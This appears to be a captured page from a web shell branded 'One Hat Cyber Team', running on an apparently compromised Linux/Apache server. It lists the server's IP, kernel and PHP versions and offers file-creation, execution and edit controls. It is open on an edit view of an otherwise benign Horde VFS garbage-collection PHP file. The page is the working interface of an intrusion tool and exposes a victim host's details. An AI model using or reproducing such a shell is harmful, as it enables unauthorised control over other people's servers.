⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.89
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-pear
/
pear
/
php
/
Horde
/
Vfs
/
Edit File: Gc.php
<?php /** * Class for providing garbage collection for any VFS instance. * * Copyright 2003-2017 Horde LLC (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you * did not receive this file, see http://www.horde.org/licenses/lgpl21. * * @author Michael Slusarz <slusarz@horde.org> * @package Vfs */ class Horde_Vfs_Gc { /** * Garbage collect files in the VFS storage system. * * @param VFS $vfs The VFS object to perform garbage collection on. * @param string $path The VFS path to clean. * @param integer $secs The minimum amount of time (in seconds) required * before a file is removed. */ public static function gc($vfs, $path, $secs = 345600) { /* A 0.1% chance we will run garbage collection during a call. */ if (substr(time(), -3) !== '000') { return; } /* Use a backend-specific method if one exists. */ if (is_callable(array($vfs, 'gc'))) { $vfs->gc($path, $secs); } /* Make sure cleaning is done recursively. */ try { $modtime = time() - $secs; foreach ($vfs->listFolder($path, null, true, false, true) as $val) { if ($val['date'] < $modtime) { $vfs->deleteFile($path, $val['name']); } } } catch (Horde_Vfs_Exception $e) { } } }
Simpan